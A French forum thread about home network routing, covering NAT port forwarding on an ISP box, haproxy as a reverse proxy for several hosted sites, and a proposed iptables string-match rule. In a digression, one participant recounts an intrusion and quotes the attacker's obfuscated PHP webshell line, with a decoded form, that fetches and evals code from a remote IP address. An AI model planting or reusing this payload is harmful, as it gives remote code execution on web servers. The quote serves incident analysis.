Routage : quelle configuration pour que le paquet tombe sur la bonne machine d'un réseau local?

Tags: #<Tag:0x00007f955c82cc58>

Bonjour tout le monde,

imaginons un réseau local de 3 pc connectés à un switch. Et ce switch est connecté à la box internet.

Le réseau est 192.168.0.0/24.
Pc1 : 192.168.0.20
Pc2 : 192.168.0.21
Pc3 : 192.168.0.22

La box internet : 192.168.0.10, et adresse publique 84.123.123.123.
Donc la route par défaut pour ces 3 pc pour accéder à internet est 192.168.0.10.

Et j’ai un site web foo.com hébergé sur le serveur apache du pc3.

Le serveur dns de foo.com est chez le registrar du domaine (comme ovh par exemple), et dans sa zone dns, le domaine pointe vers l’adresse ip publique de la box internet, càd vers 84.123.123.123 (enregistrement de type A).

Puis un client de l’extérieur souhaite accéder au site web du pc3 en tapant dans son navigateur www.foo.com.

Donc ma question est de savoir, lorsque le paquet contenant la requête http du client arrive à la box internet, comment faire pour que ce paquet arrive ensuite au bon pc, donc ici au pc3 ?

Merci d’avance.

Bonjour,
Tu fait une redirection:
Sur ta box, normalement (quel est ton FAI? ), il suffit de dire que:

source	destination	 port destination NAT	PORT NAT
*	    IP publique  443    PI pc3 			443

Attention, je te déconseille très très fortement de donner accès à partir d’internet à un site en HTTP(80). Utilises impérativement HTTPS(443).

1 J'aime

Merci beaucoup pour ta réponse. :+1:

Pour le FAI, ça peut être free, orange, etc, je voulais faire un cas général.

Du coup l’entrée ajoutée dans la configuration de la box fait que tout paquet à destination du port 443 sera redirigé vers l’ip du Pc3.

Et si par exemple, j’ai un site bar.com hébergé sur le serveur apache d’un autre pc, par exemple Pc2, et un autre site tee.com hébergé sur le serveur apache de Pc1, comment faire pour aiguiller le paquet du client ?

Le cas général c’est ce que je t’ai donné.
En termes d’implémentation, c’est entièrement dépendant de ton matériel FAI.

Oui c’est ca.

Il te faut effectivement autre chose: un frontal.
Le frontal c’est un serveur qui va recevoir les requêtes et les trier non plus par IP/port mais par URL(URL qui peut contenir des ports différentiés).
Ce frontal c’est un reverse-proxy.

Dans la règle NAT que je t’ai donné, au lieu du PC3 tu renvoies sur le frontal.
Et c’est le frontal qui va ensuite en fonction des url renvoyer sur les bonnes machines.

En terme de reverse-proxy, haproxy reste le meilleur outil. Mais c’est aussi faisable avec apache ou il me semble avec nginx.
mais comme ces deux derniers font aussi office de serveur web, il y a une forte adhérence entre les deux fonctionnalités ce qui conduit immanquablement à une diminution du niveau de sécurité.

Je suis dans ce cas chez moi, trois machines pour trois site et j’utilise haproxy.

1 J'aime

Merci beuacoup, je vais méditer sur tout ça :+1:

1 J'aime

Pourquoi? Si il n’y a strictement rien de sensible, juste de l’accès à des ressources, quelle est l’inconvénient pour le possesseur du site? En revanche effectivement si il s’agit d’un cloud perso ou de n’importe quoi nécessitant une authentification ou de l’interaction, là la question se pose.

Disgression: Tiens en passant j’ai eu affaire à une intrusion sur un serveur commercial avec evidemment un Joomla et un spip non à jour —> 2 instrusions.
L’une d’entre elles était intéressante, ça n’était pas un kiddie script mais un gars qui a fait ça à la main et a installé 3 webshells. L’un d’entre eux était interessant car le résultat des commandes était envoyé encodé en base64 dans un des headers de la requête. Le webshell lui même était juste une injection d’un code dans 3 scripts PHP (parmi 550000 php!!) sur 6 sites. J’avoue que c’était intéressant, en revanche du fait que les sites étaient en https et TLS1.3, il a fallu mettre un mod_security pour avoir les requêtes POST ce qui ralentit notablement le serveur.

De voir son site utilisé à d’autre fin, comme un BOT par exemple.

Tu peux préciser? Cela concerne surtout les ports en sortie. Par exemple, mon gars avait mis entre autres ça:
<?= "\74\x21\104\117\x43\x54\x59\120\x45\40\x68\164\155\x6c\x3e\xd\12"; eval("\77\76" . file_get_contents("\x68\x74\x74\x70\72\x2f\x2f\x31\70\56\61\x38\x31\x2e\x31\65\x38\x2e\x38\71\57\x73\x74\x6f\162\x61\147\x65\x2f\x78\154")); ?>

soit

<?= ; eval('?>file_get_contents("http://18.181.158.89/storage/xl"));

?>

J’ai vu ça en regardant les connexions http et https depuis le serveur en enlevant les «normales».
Mais sur les connexions entrantes, je ne vois pas vraiment la différence

quelques éléments ici, mais non exhaustifs:
https://fr.radware.com/cyberpedia/application-security/7-most-common-attack-types/

Oui, ce sont des attaques classiques (il en manque quelques unes notamment les XSS), ces attaques ne sont en rien spécifiques à l’aspect http ou https. Vis à vis du serveur il n’y a strictement aucune différence entre http et https, si tu as un exemple précis, je veux bien la doc, ça me permettrait de faire un challenge pour root-me :slight_smile:

Ceci dit, cela dépend aussi fortement des modules HTTP qui sont activé comme par exemple le module mod_userdir souvent mal paramétré.

Après désolé mais il faudrait que je fasse pas mal de recherche pour être plus spécifique.
Il est toujours plus facile d’éviter les attaques que de savoir les faire :slight_smile:

Vraiment intéressant, je ne connaissais pas, mais pas sur que ça soit un contre exemple car ça nesemble pas dépendre de http/https, en revanche c’est clairement une incitation à utililiser http/2.0 vu que par principe même, les requêtes sont déjà regroupées.

Indépendamment du frontal, je voudais savoir s’il est possible d’aiguiller le paquet en utilisant un routeur et de mettre des règles iptables dans ce routeur.

C’est-à-dire, que au niveau de la box internet, on ne fait pas de redirection de port, on laisse sa configuration par défaut.

Par contre, pour faire la redirection de port sans toucher à la config de la freebox, on mettra un routeur entre :

  • la freebox
  • et le switch où sont connectés pc1, pc2, et pc3 du réseau local

Et donc sur le routeur, on peut ajouter les règles iptables en utilisant le filtrage

-m string --string « xxxx.com » --algo bm

pour aiguiller le paquet d’un client qui souhait accéder à tel ou tel site web du reseau local depuis l’extérieur :

-Pour rediriger le paquet vers le port 80 de l’adresse ip de pc3 qui est 192.168.0.22, lorsque le paquet contenant la requête HTTP de type GET du client souhaite accéder au site foo.com :
# iptables -t nat -A PREROUTING -d 84.123.123.123 --dport 80 -m string --string "foo.com" --algo bm --j DNAT --to-destination 192.168.0.22 --to-ports 80

-Pour rediriger le paquet vers le port 80 de l’adresse ip de pc2 qui est 192.168.0.21, lorsque le paquet contenant la requête HTTP de type GET du client souhaite accéder au site bar.com :
# iptables -t nat -A PREROUTING -d 84.123.123.123 --dport 80 -m string --string "bar.com" --algo bm --j DNAT --to-destination 192.168.0.21 --to-ports 80

Quel est ton avis ? Après je me demande si dans les 2 règles iptables ci-dessus je dois remplacer -d 84.123.123.123 par -d adresse ip privée de la freebox, vu que la freebox fait déjà du NAT ?

Ce n’est pas la bonne méthode. Le pare-feu n’est pas fait pour ça.

Ca ne marchera pas. Tu dois obligatoirement faire une config NAT au niveau de ta box.

Un parefeu c’est un filtre. Sa fonction n’est pas de faire de la répartition d’URL. Ne serait-ce que parce qu’il n’est pas capable de traiter le contenu des paquets.

1 J'aime